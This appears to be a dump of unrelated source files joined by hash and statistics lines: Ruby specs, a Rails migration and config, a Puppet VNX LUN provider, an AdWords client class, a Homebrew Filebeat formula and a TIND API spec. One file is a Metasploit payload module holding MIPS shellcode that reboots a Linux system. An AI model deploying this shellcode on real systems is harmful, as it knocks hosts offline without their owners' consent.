context "without a manifest declaration" do
subject(:dependency) { dependencies.find { |f| f.name == "appdirs" } }
it "has the right details" do
expect(dependency).to be_a(Dependabot::Dependency)
expect(dependency.name).to eq("appdirs")
expect(dependency.version).to eq("1.4.3")
expect(dependency.requirements).to eq([])
end
end
end
end
end
| 30.628571 | 79 | 0.588619 |
e8a878e6692bfc7dffa40eda2f044e67b98cd9c2
| 275 |
class BumpC100ApplicationVersionForSplitAddress < ActiveRecord::Migration[5.1]
def change
# Version 3 introduces split address fields form
# New records will be created with version=3
change_column_default :c100_applications, :version, from: 2, to: 3
end
end
| 34.375 | 78 | 0.770909 |
1d2c39f95f42e57cdf821ec68a9ee104ab41ade1
| 1,353 |
require_relative "boot"
require "rails"
# Pick the frameworks you want:
require "active_model/railtie"
require "active_job/railtie"
require "active_record/railtie"
require "active_storage/engine"
require "action_controller/railtie"
require "action_mailer/railtie"
require "action_mailbox/engine"
require "action_text/engine"
require "action_view/railtie"
require "action_cable/engine"
# require "sprockets/railtie"
require "rails/test_unit/railtie"
# Require the gems listed in Gemfile, including any gems
# you've limited to :test, :development, or :production.
Bundler.require(*Rails.groups)
module Rosters
class Application < Rails::Application
# Initialize configuration defaults for originally generated Rails version.
config.load_defaults 6.1
# Configuration for the application, engines, and railties goes here.
#
# These settings can be overridden in specific environments using the files
# in config/environments, which are processed later.
#
# config.time_zone = "Central Time (US & Canada)"
# config.eager_load_paths << Rails.root.join("extras")
# Only loads a smaller set of middleware suitable for API only apps.
# Middleware like session, flash, cookies can be added back manually.
# Skip views, helpers and assets when generating a new resource.
config.api_only = true
end
end
| 33 | 79 | 0.762749 |
ed5cead5f269cc1bac663826f753792443480488
| 14,358 |
require_relative '../spec_helper'
describe Dapp::Dimg::Builder::Chef do
include SpecHelper::Common
include SpecHelper::Dimg
before :all do
init_project
end
%w(ubuntu:14.04 centos:7).each do |os|
context os do
it 'builds project' do
dimg_build!
stages.each { |_, stage| expect(stage.image.tagged?).to be(true) }
TEST_FILE_NAMES.each { |name| expect(send("#{name}_exist?")).to be(true), "#{send("#{name}_path")} does not exist" }
expect(file_exist_in_image?('/testartifact/CUSTOM_NAME_FROM_CHEF_SPEC.txt', artifact_dimg.last_stage.image.name)).to be(true), '/testartifact/CUSTOM_NAME_FROM_CHEF_SPEC.txt does not exist in artifact image'
expect(file_exist_in_image?('/myartifact/CUSTOM_NAME_FROM_CHEF_SPEC.txt', dimg.send(:last_stage).image.name)).to be(true), '/myartifact/CUSTOM_NAME_FROM_CHEF_SPEC.txt does not exist in result image'
expect(
read_file_in_image('/testartifact/CUSTOM_NAME_FROM_CHEF_SPEC.txt', artifact_dimg.last_stage.image.name)
).to eq(
read_file_in_image('/myartifact/CUSTOM_NAME_FROM_CHEF_SPEC.txt', dimg.send(:last_stage).image.name)
), '/testartifact/CUSTOM_NAME_FROM_CHEF_SPEC.txt in artifact image does not equal /myartifact/CUSTOM_NAME_FROM_CHEF_SPEC.txt in result image'
end
[%i(before_install foo pizza batareika),
%i(install bar taco koromyslo),
%i(before_setup baz burger kolokolchik),
%i(setup qux pelmeni taburetka)].each do |stage, project_file, dimod_test_file, dimod_test2_file|
it "rebuilds from stage #{stage}" do
old_template_file_values = {}
old_template_file_values[project_file] = send(project_file)
old_template_file_values[dimod_test_file] = send(dimod_test_file)
old_template_file_values[dimod_test2_file] = send(dimod_test2_file)
new_file_values = {}
new_file_values[project_file] = SecureRandom.uuid
testproject_chef_path.join("files/#{stage}/common/#{project_file}.txt").tap do |path|
path.write "#{new_file_values[project_file]}\n"
end
new_file_values[dimod_test_file] = SecureRandom.uuid
dimod_test_path.join("files/#{stage}/#{dimod_test_file}.txt").tap do |path|
path.write "#{new_file_values[dimod_test_file]}\n"
end
new_file_values[dimod_test2_file] = SecureRandom.uuid
dimod_test2_path.join("files/#{stage}/#{dimod_test2_file}.txt").tap do |path|
path.write "#{new_file_values[dimod_test2_file]}\n"
end
dimg_rebuild!
expect(send(project_file, reload: true)).not_to eq(old_template_file_values[project_file])
expect(send(dimod_test_file, reload: true)).not_to eq(old_template_file_values[dimod_test_file])
expect(send(dimod_test2_file, reload: true)).not_to eq(old_template_file_values[dimod_test2_file])
expect(send("testproject_#{stage}", reload: true)).to eq(new_file_values[project_file])
expect(send("dimod_test_#{stage}", reload: true)).to eq(new_file_values[dimod_test_file])
expect(send("dimod_test2_#{stage}", reload: true)).to eq(new_file_values[dimod_test2_file])
end
end
it 'rebuilds artifact from build_artifact stage' do
old_artifact_before_install_stage_id = artifact_stages[:before_install].image.id
old_artifact_last_stage_id = artifact_dimg.last_stage.image.id
[dimg, artifact_dimg].each do |d|
d.config._chef.__build_artifact_attributes['dimod-testartifact']['target_filename'] = 'SECOND_CUSTOM_NAME_FROM_CHEF_SPEC.txt'
end
dimg_rebuild!
expect(artifact_stages[:before_install].image.id).to eq(old_artifact_before_install_stage_id)
expect(artifact_dimg.last_stage.image.id).not_to eq(old_artifact_last_stage_id)
expect(file_exist_in_image?('/testartifact/CUSTOM_NAME_FROM_CHEF_SPEC.txt', artifact_dimg.last_stage.image.name)).to be(false), '/testartifact/CUSTOM_NAME_FROM_CHEF_SPEC.txt should not exist in artifact image'
expect(file_exist_in_image?('/testartifact/SECOND_CUSTOM_NAME_FROM_CHEF_SPEC.txt', artifact_dimg.last_stage.image.name)).to be(true), '/testartifact/SECOND_CUSTOM_NAME_FROM_CHEF_SPEC.txt should exist in artifact image'
expect(file_exist_in_image?('/myartifact/CUSTOM_NAME_FROM_CHEF_SPEC.txt', dimg.send(:last_stage).image.name)).to be(false), '/myartifact/CUSTOM_NAME_FROM_CHEF_SPEC.txt should not exist in result image'
expect(file_exist_in_image?('/myartifact/SECOND_CUSTOM_NAME_FROM_CHEF_SPEC.txt', dimg.send(:last_stage).image.name)).to be(true), '/myartifact/SECOND_CUSTOM_NAME_FROM_CHEF_SPEC.txt should exist in result image'
expect(
read_file_in_image('/testartifact/SECOND_CUSTOM_NAME_FROM_CHEF_SPEC.txt', artifact_dimg.last_stage.image.name)
).to eq(
read_file_in_image('/myartifact/SECOND_CUSTOM_NAME_FROM_CHEF_SPEC.txt', dimg.send(:last_stage).image.name)
), '/testartifact/SECOND_CUSTOM_NAME_FROM_CHEF_SPEC.txt inc artifact image does not equal /myartifact/SECOND_CUSTOM_NAME_FROM_CHEF_SPEC.txt in result image'
end
it 'rebuilds artifact from before_install stage' do
new_note_content = SecureRandom.uuid
dimod_testartifact_path.join('files/build_artifact/note.txt').tap do |path|
path.write "#{new_note_content}\n"
end
old_artifact_before_install_stage_id = artifact_stages[:before_install].image.id
old_artifact_last_stage_id = artifact_dimg.last_stage.image.id
[dimg, artifact_dimg].each do |d|
d.config._chef.__before_install_attributes["rebuilds"] = true
d.config._chef.__build_artifact_attributes['dimod-testartifact']['target_filename'] = 'SECOND_CUSTOM_NAME_FROM_CHEF_SPEC.txt'
end
dimg_rebuild!
expect(artifact_stages[:before_install].image.id).not_to eq(old_artifact_before_install_stage_id)
expect(artifact_dimg.last_stage.image.id).not_to eq(old_artifact_last_stage_id)
expect(file_exist_in_image?('/testartifact/CUSTOM_NAME_FROM_CHEF_SPEC.txt', artifact_dimg.last_stage.image.name)).to be(false), '/testartifact/CUSTOM_NAME_FROM_CHEF_SPEC.txt should not exist in artifact image'
expect(file_exist_in_image?('/testartifact/SECOND_CUSTOM_NAME_FROM_CHEF_SPEC.txt', artifact_dimg.last_stage.image.name)).to be(true), '/testartifact/SECOND_CUSTOM_NAME_FROM_CHEF_SPEC.txt should exist in artifact image'
expect(file_exist_in_image?('/myartifact/CUSTOM_NAME_FROM_CHEF_SPEC.txt', dimg.send(:last_stage).image.name)).to be(false), '/myartifact/CUSTOM_NAME_FROM_CHEF_SPEC.txt should exist in result image'
expect(file_exist_in_image?('/myartifact/SECOND_CUSTOM_NAME_FROM_CHEF_SPEC.txt', dimg.send(:last_stage).image.name)).to be(true), '/myartifact/SECOND_CUSTOM_NAME_FROM_CHEF_SPEC.txt should exist in result image'
expect(
read_file_in_image('/testartifact/SECOND_CUSTOM_NAME_FROM_CHEF_SPEC.txt', artifact_dimg.last_stage.image.name)
).to eq(new_note_content)
expect(
read_file_in_image('/testartifact/SECOND_CUSTOM_NAME_FROM_CHEF_SPEC.txt', artifact_dimg.last_stage.image.name)
).to eq(
read_file_in_image('/myartifact/SECOND_CUSTOM_NAME_FROM_CHEF_SPEC.txt', dimg.send(:last_stage).image.name)
), '/testartifact/SECOND_CUSTOM_NAME_FROM_CHEF_SPEC.txt in artifact image does not equal /myartifact/SECOND_CUSTOM_NAME_FROM_CHEF_SPEC.txt in result image'
end
define_method :config do
@config ||= default_config.merge(
_builder: :chef,
_name: "#{testproject_path.basename}-x-y",
_docker: default_config[:_docker].merge(_from: os.to_sym),
_chef: {
_dimod: ['dimod-test', 'dimod-test2'],
_recipe: %w(main x x_y),
_cookbook: ConfigHash.new(
'build-essential' => {name: 'build-essential', version_constraint: '~> 8.0.0'},
'dimod-test' => {name: 'dimod-test', path: File.expand_path('../dimod-test', dapp.path)},
'dimod-test2' => {name: 'dimod-test2', path: File.expand_path('../dimod-test2', dapp.path)}
),
__before_install_attributes: {
'dimod-test2' => {
'sayhello' => 'hello',
'sayhelloagain' => 'helloagain'
}
},
__install_attributes: {
'dimod-test2' => { 'sayhello' => 'hello' }
},
__before_setup_attributes: {
'dimod-test2' => { 'sayhello' => 'hello' }
},
__setup_attributes: {
'dimod-test2' => { 'sayhello' => 'hello' }
},
__build_artifact_attributes: {
'dimod-test2' => { 'sayhello' => 'hello' },
'dimod-testartifact' => { 'target_filename' => 'CUSTOM_NAME_FROM_CHEF_SPEC.txt' }
}
},
_before_install_artifact: [
ConfigRecursiveOpenStruct.new(
_config: ConfigRecursiveOpenStruct.new(default_config.merge(
_builder: :chef,
_docker: default_config[:_docker].merge(_from: :'ubuntu:14.04'),
_chef: {
_dimod: ['dimod-testartifact'],
_recipe: %w(myartifact),
_cookbook: ConfigHash.new(
'build-essential' => {name: 'build-essential', version_constraint: '~> 8.0.0'},
'dimod-testartifact' => {name: 'dimod-testartifact', path: File.expand_path('../dimod-testartifact', dapp.path)}
),
__before_install_attributes: {
'dimod-test2' => {
'sayhello' => 'hello',
'sayhelloagain' => 'helloagain'
}
},
__install_attributes: {
'dimod-test2' => { 'sayhello' => 'hello' }
},
__before_setup_attributes: {
'dimod-test2' => { 'sayhello' => 'hello' }
},
__setup_attributes: {
'dimod-test2' => { 'sayhello' => 'hello' }
},
__build_artifact_attributes: {
'dimod-test2' => { 'sayhello' => 'hello' },
'dimod-testartifact' => { 'target_filename' => 'CUSTOM_NAME_FROM_CHEF_SPEC.txt' }
}
}
)),
_artifact_options: {
cwd: '/myartifact_testproject',
to: '/myartifact',
exclude_paths: [],
include_paths: []
}
)
]
)
end
end # context
end # each
def openstruct_config
ConfigRecursiveOpenStruct.new(config)
end
def _base_path
@_base_path ||= Pathname("/tmp/dapp-test-#{SpecHelper::Dimg::CACHE_VERSION}")
end
def project_path
testproject_path
end
def testproject_path
_base_path.join('testproject')
end
def testproject_chef_path
testproject_path.join('.dapp_chef')
end
def dimod_test_path
_base_path.join('dimod-test')
end
def dimod_test2_path
_base_path.join('dimod-test2')
end
def dimod_testartifact_path
_base_path.join('dimod-testartifact')
end
def template_testproject_path
@template_testproject_path ||= Pathname('spec/chef/testproject')
end
def template_dimod_test_path
@template_dimod_test_path ||= Pathname('spec/chef/dimod-test')
end
def template_dimod_test2_path
@template_dimod_test2_path ||= Pathname('spec/chef/dimod-test2')
end
def template_dimod_testartifact_path
@template_dimod_testartifact_path ||= Pathname('spec/chef/dimod-testartifact')
end
def init_project
FileUtils.cp_r template_testproject_path, testproject_path.tap { |p| p.parent.mkpath }
testproject_path.join('.dapp_build').tap { |p| p.rmtree if p.exist? }
FileUtils.cp_r template_dimod_test_path, dimod_test_path.tap { |p| p.parent.mkpath }
FileUtils.cp_r template_dimod_test2_path, dimod_test2_path.tap { |p| p.parent.mkpath }
FileUtils.cp_r template_dimod_testartifact_path, dimod_testartifact_path.tap { |p| p.parent.mkpath }
end
# rubocop:enable Metrics/AbcSize
def artifact_dimg
stages[:before_install_artifact].send(:artifacts).first[:dimg]
end
def artifact_stages
_stages_of_dimg(artifact_dimg)
end
TEST_FILE_NAMES = %i(foo x_foo x_y_foo bar baz qux
burger pizza taco pelmeni
kolokolchik koromyslo taburetka batareika
testproject_before_install testproject_install
testproject_before_setup testproject_setup
dimod_test_before_install dimod_test_install
dimod_test_before_setup dimod_test_setup
dimod_test2_before_install dimod_test2_install
dimod_test2_before_setup dimod_test2_setup).freeze
TEST_FILE_NAMES.each do |name|
define_method("#{name}_path") do
"/#{name}.txt"
end
define_method(name) do |reload: false|
(!reload && instance_variable_get("@#{name}")) ||
instance_variable_set("@#{name}", read_file_in_image(send("#{name}_path"), dimg.send(:last_stage).image.name))
end
define_method("#{name}_exist?") do
file_exist_in_image? send("#{name}_path"), dimg.send(:last_stage).image.name
end
end
def read_file_in_image(path, image_name)
shellout!("#{host_docker} run --rm #{image_name} cat #{path}").stdout.strip
end
def file_exist_in_image?(path, image_name)
res = shellout("#{host_docker} run --rm #{image_name} ls #{path}")
return true if res.exitstatus.zero?
return false if res.exitstatus == 2
res.error!
end
class ConfigRecursiveOpenStruct < RecursiveOpenStruct
def _dimg_chain
[self]
end
def _dimg_runlist
[]
end
def _root_dimg
_dimg_chain.first
end
def to_json(*a)
to_h.to_json(*a)
end
end
class ConfigHash
def initialize(hash)
@data = hash
end
def method_missing(*args, &blk)
@data.send(*args, &blk)
end
end
end
| 41.738372 | 226 | 0.659911 |
7a776c97f0563a9c9a6ff55f3b972bec1b96d0df
| 10,322 |
begin
require 'puppet_x/puppetlabs/transport/emc_vnx'
rescue LoadError => e
require 'pathname' # WORK_AROUND #14073 and #7788
module_lib = Pathname.new(__FILE__).parent.parent.parent
puts "MODULE LIB IS #{module_lib}"
require File.join module_lib, 'puppet_x/puppetlabs/transport/emc_vnx'
end
Puppet::Type.type(:vnx_lun).provide(:vnx_lun) do
include PuppetX::Puppetlabs::Transport::EMCVNX
desc "Manage LUNs for VNX."
mk_resource_property_methods
def initialize *args
super
@property_flush = {}
end
def get_current_properties
lun_info = run(["lun", "-list", "-name", resource[:lun_name]])
self.class.get_lun_properties lun_info
end
def self.get_lun_properties lun_info
lun = {}
lun_info.split("\n").each do |line|
pattern = "LOGICAL UNIT NUMBER"
if line.start_with?(pattern)
lun[:lun_number] = line.sub(pattern, "").strip.to_i
next
end
pattern = "Name:"
if line.start_with?(pattern)
lun[:name] = line.sub(pattern, "").strip
next
end
pattern = "UID:"
if line.start_with?(pattern)
lun[:uid] = line.sub(pattern, "").strip
next
end
pattern = "Current Owner:"
if line.start_with?(pattern)
owner = line.sub(pattern, "").strip
owner = if owner == "SP A"
:a
elsif owner == "SP B"
:b
else
raise "parse error, at: #{pattern}"
end
lun[:current_owner] = owner
next
end
pattern = "Default Owner:"
if line.start_with?(pattern)
owner = line.sub(pattern, "").strip
owner = if owner == "SP A"
:a
elsif owner == "SP B"
:b
else
raise "parse error, at: #{pattern}"
end
lun[:default_owner] = owner
next
end
pattern = "Allocation Owner:"
if line.start_with?(pattern)
owner = line.sub(pattern, "").strip
owner = if owner == "SP A"
:a
elsif owner == "SP B"
:b
else
raise "parse error, at: #{pattern}"
end
lun[:allocation_owner] = owner
next
end
pattern = "User Capacity (Blocks):"
if line.start_with?(pattern)
lun[:user_capacity_blocks] = line.sub(pattern, "").strip.to_i
next
end
pattern = /\AUser Capacity \((\w+)\):(.+)/
if line =~ pattern
lun[:capacity] = $2.strip.to_i
sq = $1.downcase
lun[:size_qual] = [:gb, :tb, :mb, :bc].find{|v| sq.include? v.to_s}
next
end
pattern = "Consumed Capacity (Blocks):"
if line.start_with?(pattern)
lun[:consumed_capacity_blocks] = line.sub(pattern, "").strip.to_i
next
end
pattern = /\AConsumed Capacity \((\w+)\):(.+)/
if line =~ pattern
lun[:consumed_capacity] = $2.strip.to_f
next
end
pattern = "Pool Name:"
if line.start_with?(pattern)
lun[:pool_name] = line.sub(pattern, "").strip
next
end
pattern = "Offset:"
if line.start_with?(pattern)
lun[:offset] = line.sub(pattern, "").strip.to_i
next
end
pattern = "Auto-Assign Enabled:"
if line.start_with?(pattern)
lun[:auto_assign] = (line.sub(pattern, "").strip == "DISABLED" ? :false : :true)
next
end
pattern = "Raid Type:"
if line.start_with?(pattern)
lun[:raid_type] = line.sub(pattern, "").strip
next
end
pattern = "Is Pool LUN:"
if line.start_with?(pattern)
lun[:is_pool_lun] = (line.sub(pattern, "").strip == "Yes" ? :true : :false)
next
end
pattern = "Is Thin LUN:"
if line.start_with?(pattern)
lun[:is_thin_lun] = (line.sub(pattern, "").strip == "Yes" ? :true : :false)
lun[:type] = (lun[:is_thin_lun] == :true ? :thin : :nonthin)
next
end
pattern = "Tiering Policy:"
if line.start_with?(pattern)
result = line.sub(pattern, "").strip.downcase
result = if result.include? "auto"
:auto_tier
elsif result.include? "highest"
:highest_available
elsif result.include? "lowest"
:lowest_available
else
:no_movement
end
lun[:tiering_policy] = result
next
end
pattern = "Initial Tier:"
if line.start_with?(pattern)
result = line.sub(pattern, "").strip.downcase
result = if result.include? "highest"
:highest_available
elsif result.include? "lowest"
:lowest_available
else
:optimize_pool
end
lun[:initial_tier] = result
next
end
end
lun[:ensure] = :present
lun
end
# def self.instances
# lun_instances = []
# luns_info = run ["lun", "-list"]
# luns_info.split("\n\n").each do |lun_info|
# lun = get_lun_properties lun_info
# lun_instances << new(lun)
# end
# lun_instances
# end
# def self.prefetch(resources)
# instances.each do |prov|
# if resource = resources[prov.name]
# resource.provider = prov
# end
# end
# end
# assume exists should be first called
def exists?
current_properties[:ensure] == :present
end
def set_lun
# expand
args = ["lun", "-expand", "-name", resource[:lun_name]]
origin_length = args.length
args << "-capacity" << resource[:capacity] if @property_flush[:capacity]
args << "-sq" << resource[:size_qual] if @property_flush[:size_qual]
args << "-ignoreThresholds" if (resource[:ignore_thresholds] == :true)
args << "-o"
run(args) if args.length > origin_length + 1
# modify
args = ["lun", "-modify", "-name", resource[:lun_name]]
origin_length = args.length
args << "-aa" << (resource[:auto_assign] == :true ? 1 : 0) if @property_flush[:auto_assign]
args << "-newName" << resource[:new_name] if @property_flush[:new_name] && (@property_flush[:new_name] != resource[:lun_name])
args << "-sp" << resource[:default_owner].to_s.upcase if @property_flush[:default_owner]
args << "-tieringPolicy" << (case resource[:tiering_policy]
when :no_movement then "noMovement"
when :auto_tier then "autoTier"
when :highest_available then "highestAvailable"
when :highest_available then "lowestAvailable"
end) if @property_flush[:tiering_policy]
args << "-initialTier" << (case resource[:initial_tier]
when :optimize_pool then "optimizePool"
when :highest_available then "highestAvailable"
when :lowest_available then "lowestAvailable"
end) if @property_flush[:initial_tier]
args << "-allowSnapAutoDelete" << (resource[:allow_snap_auto_delete] == :true ? "yes" : "no") if @property_flush[:allow_snap_auto_delete]
args << "-allowInbandSnapAttach" << (resource[:allow_inband_snap_attach] == :true ? "yes" : "no") if @property_flush[:allow_inband_snap_attach]
if @property_flush[:allocation_policy]
raise ArgumentError, "allocation_policy must be automatic" if resource[:allocation_policy] != :automatic
args << "-allocationPolicy" << "automatic"
end
args << "-o"
run(args) if args.length > origin_length + 1
end
def create_lun
args = ['lun', '-create']
if resource[:type] == :snap
args << "-type" << "Snap"
args << "-primaryLun" << resource[:primary_lun_number] if resource[:primary_lun_number]
args << "-primaryLunName" << resource[:primary_lun_name] if resource[:primary_lun_name]
args << "-sp" << resource[:default_owner].to_s.upcase if resource[:default_owner]
args << "-l" << resource[:lun_number] if resource[:lun_number]
args << "-name" << resource[:lun_name] if resource[:lun_name]
args << "-allowSnapAutoDelete" << (resource[:allow_snap_auto_delete] == :true ? "yes" : "no") if resource[:allow_snap_auto_delete]
args << "-allowInbandSnapAttach" << (resource[:allow_inband_snap_attach] == :true ? "yes" : "no") if resource[:allow_inband_snap_attach]
else
args << "-type" << (resource[:type] == :thin ? 'Thin' : 'NonThin') if resource[:type]
args << "-capacity" << resource[:capacity] if resource[:capacity]
args << "-poolId" << resource[:pool_id] if resource[:pool_id]
args << "-poolName" << resource[:pool_name] if resource[:pool_name]
args << "-sp" << resource[:default_owner].to_s.upcase if resource[:default_owner]
args << "-aa" << (resource[:auto_assign] == :true ? 1 : 0) if resource[:auto_assign]
args << "-l" << resource[:lun_number] if resource[:lun_number]
args << "-name" << resource[:lun_name]
args << "-offset" << resource[:offset] if resource[:offset]
args << "-tieringPolicy" << (case resource[:tiering_policy]
when :no_movement then "noMovement"
when :auto_tier then "autoTier"
when :highest_available then "highestAvailable"
when :lowest_available then "lowestAvailable"
end) if resource[:tiering_policy]
args << "-initialTier" << (case resource[:initial_tier]
when :optimize_pool then "optimizePool"
when :highest_available then "highestAvailable"
when :lowest_available then "lowestAvailable"
end) if resource[:initial_tier]
args << "-allowSnapAutoDelete" << (resource[:allow_snap_auto_delete] == :true ? "yes" : "no") if resource[:allow_snap_auto_delete]
args << "-ignoreThresholds" if (resource[:ignore_thresholds] == :true)
args << "-allocationPolicy" << (resource[:allocation_policy] == :on_demand ? "onDemand" : "automatic") if resource[:allocation_policy]
end
run(args)
@property_hash[:ensure] = :present
end
def create
@property_flush[:ensure] = :present
end
def destroy
@property_flush[:ensure] = :absent
end
def flush
# destroy
if @property_flush[:ensure] == :absent
args = ["lun", "-destroy"]
args << "-name" << resource[:lun_name]
args << "-o"
run args
@property_hash[:ensure] = :absent
return
end
if exists?
set_lun
else
create_lun
end
end
end
| 32.357367 | 147 | 0.596784 |
ff7cd5547466233a4120d9599d0d328af0255d75
| 108 |
require 'helper'
class TestAsynchro < Test::Unit::TestCase
def test_module
assert Asynchro
end
end
| 13.5 | 41 | 0.740741 |
264e2bd7556a09931efab57203138be79fc053be
| 1,196 |
# Encoding: utf-8
#
# This is auto-generated code, changes will be overwritten.
#
# Copyright:: Copyright 2013, Google Inc. All Rights Reserved.
# License:: Licensed under the Apache License, Version 2.0.
#
# Code generated by AdsCommon library 0.9.5 on 2014-07-09 12:48:01.
require 'ads_common/savon_service'
require 'adwords_api/v201406/ad_group_service_registry'
module AdwordsApi; module V201406; module AdGroupService
class AdGroupService < AdsCommon::SavonService
def initialize(config, endpoint)
namespace = 'https://adwords.google.com/api/adwords/cm/v201406'
super(config, endpoint, namespace, :v201406)
end
def get(*args, &block)
return execute_action('get', args, &block)
end
def mutate(*args, &block)
return execute_action('mutate', args, &block)
end
def mutate_label(*args, &block)
return execute_action('mutate_label', args, &block)
end
def query(*args, &block)
return execute_action('query', args, &block)
end
private
def get_service_registry()
return AdGroupServiceRegistry
end
def get_module()
return AdwordsApi::V201406::AdGroupService
end
end
end; end; end
| 25.446809 | 69 | 0.701505 |
f7efe5b6c6474fc715893844a05edacd4b3852b2
| 1,648 |
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
module Metasploit3
CachedSize = 32
include Msf::Payload::Single
include Msf::Payload::Linux
def initialize(info = {})
super(merge_info(info,
'Name' => 'Linux Reboot',
'Description' => %q{
A very small shellcode for rebooting the system.
This payload is sometimes helpful for testing purposes or executing
other payloads that rely on initial startup procedures.
},
'Author' =>
[
'Michael Messner <devnull[at]s3cur1ty.de>', #metasploit payload
'rigan - <imrigan[at]gmail.com>' #original payload
],
'References' =>
[
['URL', 'http://www.shell-storm.org/shellcode/files/shellcode-795.php']
],
'License' => MSF_LICENSE,
'Platform' => 'linux',
'Arch' => ARCH_MIPSBE,
'Payload' =>
{
'Offsets' => {} ,
'Payload' => ''
})
)
end
def generate
shellcode =
"\x3c\x06\x43\x21" + #lui a2,0x4321
"\x34\xc6\xfe\xdc" + #ori a2,a2,0xfedc
"\x3c\x05\x28\x12" + #lui a1,0x2812
"\x34\xa5\x19\x69" + #ori a1,a1,0x1969
"\x3c\x04\xfe\xe1" + #lui a0,0xfee1
"\x34\x84\xde\xad" + #ori a0,a0,0xdead
"\x24\x02\x0f\xf8" + #li v0,4088
"\x01\x01\x01\x0c" #syscall 0x40404
return super + shellcode
end
end
| 28.413793 | 82 | 0.523058 |
28cae739d8aebba919ed0da743d079ebb2d7b777
| 3,602 |
class Filebeat < Formula
desc "File harvester to ship log files to Elasticsearch or Logstash"
homepage "https://www.elastic.co/products/beats/filebeat"
url "https://github.com/elastic/beats.git",
tag: "v7.13.2",
revision: "686ba416a74193f2e69dcfa2eb142f4364a79307"
# Outside of the "x-pack" folder, source code in a given file is licensed
# under the Apache License Version 2.0
license "Apache-2.0"
head "https://github.com/elastic/beats.git"
bottle do
sha256 cellar: :any_skip_relocation, arm64_big_sur: "c7efc7ed5e1922cc6d32dfe272b7a3d7135af95ae16e66fcf17da66c4a063de2"
sha256 cellar: :any_skip_relocation, big_sur: "7c0f1f586e8d19c6d74e2b457be7190c0ad1cb84eb9edcd04cc74bf7c3b29494"
sha256 cellar: :any_skip_relocation, catalina: "325c0dc61e208e4fe244c836a74bae643a80e24b3f51487a2381ec02e3a222a4"
sha256 cellar: :any_skip_relocation, mojave: "bfc49869817138f5755fe27fb013e6127874fd16e0726cf89caf5f0bcaa5f928"
sha256 cellar: :any_skip_relocation, x86_64_linux: "277f2aed737a77d00df68d0c1375d4ec6263994d16bda2780c4dab7556a9ec48"
end
depends_on "go" => :build
depends_on "mage" => :build
depends_on "[email protected]" => :build
uses_from_macos "rsync" => :build
def install
# remove non open source files
rm_rf "x-pack"
cd "filebeat" do
# don't build docs because it would fail creating the combined OSS/x-pack
# docs and we aren't installing them anyway
inreplace "magefile.go", "mg.SerialDeps(Fields, Dashboards, Config, includeList, fieldDocs,",
"mg.SerialDeps(Fields, Dashboards, Config, includeList,"
# prevent downloading binary wheels during python setup
system "make", "PIP_INSTALL_PARAMS=--no-binary :all", "python-env"
system "mage", "-v", "build"
system "mage", "-v", "update"
(etc/"filebeat").install Dir["filebeat.*", "fields.yml", "modules.d"]
(etc/"filebeat"/"module").install Dir["build/package/modules/*"]
(libexec/"bin").install "filebeat"
prefix.install "build/kibana"
end
(bin/"filebeat").write <<~EOS
#!/bin/sh
exec #{libexec}/bin/filebeat \
--path.config #{etc}/filebeat \
--path.data #{var}/lib/filebeat \
--path.home #{prefix} \
--path.logs #{var}/log/filebeat \
"$@"
EOS
end
plist_options manual: "filebeat"
def plist
<<~EOS
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE plist PUBLIC "-//Apple Computer//DTD PLIST 1.0//EN"
"http://www.apple.com/DTDs/PropertyList-1.0.dtd">
<plist version="1.0">
<dict>
<key>Label</key>
<string>#{plist_name}</string>
<key>Program</key>
<string>#{opt_bin}/filebeat</string>
<key>RunAtLoad</key>
<true/>
</dict>
</plist>
EOS
end
test do
log_file = testpath/"test.log"
touch log_file
(testpath/"filebeat.yml").write <<~EOS
filebeat:
inputs:
-
paths:
- #{log_file}
scan_frequency: 0.1s
output:
file:
path: #{testpath}
EOS
(testpath/"log").mkpath
(testpath/"data").mkpath
fork do
exec "#{bin}/filebeat", "-c", "#{testpath}/filebeat.yml",
"-path.config", "#{testpath}/filebeat",
"-path.home=#{testpath}",
"-path.logs", "#{testpath}/log",
"-path.data", testpath
end
sleep 1
log_file.append_lines "foo bar baz"
sleep 5
assert_predicate testpath/"filebeat", :exist?
end
end
| 32.160714 | 122 | 0.630761 |
ed6f3d92591a5acd02e313e2a13c0c5b986b3f24
| 5,120 |
require 'spec_helper'
require 'webmock'
module BerkeleyLibrary
module TIND
RSpec.shared_examples 'a missing key' do |bad_key|
before(:each) do
expect(BerkeleyLibrary::TIND::Config).to receive(:api_key).and_return(bad_key)
end
it "raises #{API::APIKeyNotSet}" do
failure_message = -> { "#{API::APIKeyNotSet} not raised for API key #{bad_key.inspect}" }
expect { API.get('some-endpoint') }.to raise_error(API::APIKeyNotSet), failure_message
end
end
RSpec.shared_examples 'a missing base URL' do |bad_url|
before(:each) do
allow(BerkeleyLibrary::TIND::Config).to receive(:base_uri).and_return(bad_url)
end
it "raises #{API::APIKeyNotSet}" do
failure_message = -> { "#{API::BaseURINotSet} not raised for API key #{bad_url.inspect}" }
expect { API.get('some-endpoint') }.to raise_error(API::BaseURINotSet), failure_message
end
end
describe API do
let(:base_uri) { 'https://tind.example.org/' }
let(:api_key) { 'lorem-ipsum-dolor-sit-amet' }
describe :get do
describe 'with invalid API key' do
before(:each) do
allow(BerkeleyLibrary::TIND::Config).to receive(:base_uri).and_return(base_uri)
end
[nil, '', ' '].each do |bad_key|
describe "api_key = #{bad_key.inspect}" do
it_behaves_like 'a missing key', bad_key
end
end
end
end
describe 'bad TIND base URI' do
before(:each) do
allow(BerkeleyLibrary::TIND::Config).to receive(:api_key).and_return(api_key)
end
[nil, '', ' '].each do |bad_url|
describe "base_uri = #{bad_url.inspect}" do
it_behaves_like 'a missing base URL', bad_url
end
end
end
describe 'with valid config' do
before(:each) do
allow(BerkeleyLibrary::TIND::Config).to receive(:base_uri).and_return(base_uri)
allow(BerkeleyLibrary::TIND::Config).to receive(:api_key).and_return(api_key)
end
describe :get do
it "raises #{API::APIException} in the event of an invalid response" do
aggregate_failures 'responses' do
[207, 400, 401, 403, 404, 405, 418, 451, 500, 503].each do |code|
endpoint = "endpoint-#{code}"
url_str = API.uri_for(endpoint).to_s
stub_request(:get, url_str).to_return(status: code)
expect { API.get(endpoint) }.to raise_error(API::APIException) do |e|
expect(e.message).to include(code.to_s)
end
end
end
end
it 'logs the response body if an error occurs in handling' do
endpoint = 'test-endpoint'
url_str = API.uri_for(endpoint).to_s
body_text = 'the body'
stub_request(:get, url_str).to_return(status: 200, body: body_text)
logdev = StringIO.new
